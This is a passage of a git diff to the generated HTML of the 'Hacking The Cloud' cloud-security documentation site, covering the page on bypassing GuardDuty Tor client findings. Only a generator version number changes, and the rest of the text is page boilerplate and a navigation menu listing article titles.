5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
diff --git a/aws/avoiding-detection/guardduty-tor-client/index.html b/aws/avoiding-detection/guardduty-tor-client/index.html
index ea7a9b9f3..fb5016151 100644
--- a/aws/avoiding-detection/guardduty-tor-client/index.html
+++ b/aws/avoiding-detection/guardduty-tor-client/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Connect to the Tor network from an EC2 instance without alerting GuardDuty."><link href=https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ rel=canonical><link href=../guardduty-pentest/ rel=prev><link href=../modify-guardduty-config/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Bypass GuardDuty Tor Client Findings - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Bypass GuardDuty Tor Client Findings - Hacking The Cloud"><meta property=og:description content="Connect to the Tor network from an EC2 instance without alerting GuardDuty."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Bypass GuardDuty Tor Client Findings - Hacking The Cloud"><meta property=twitter:description content="Connect to the Tor network from an EC2 instance without alerting GuardDuty."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Connect to the Tor network from an EC2 instance without alerting GuardDuty."><link href=https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ rel=canonical><link href=../guardduty-pentest/ rel=prev><link href=../modify-guardduty-config/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Bypass GuardDuty Tor Client Findings - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Bypass GuardDuty Tor Client Findings - Hacking The Cloud"><meta property=og:description content="Connect to the Tor network from an EC2 instance without alerting GuardDuty."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Bypass GuardDuty Tor Client Findings - Hacking The Cloud"><meta property=twitter:description content="Connect to the Tor network from an EC2 instance without alerting GuardDuty."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#bypass-guardduty-tor-client-findings class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access 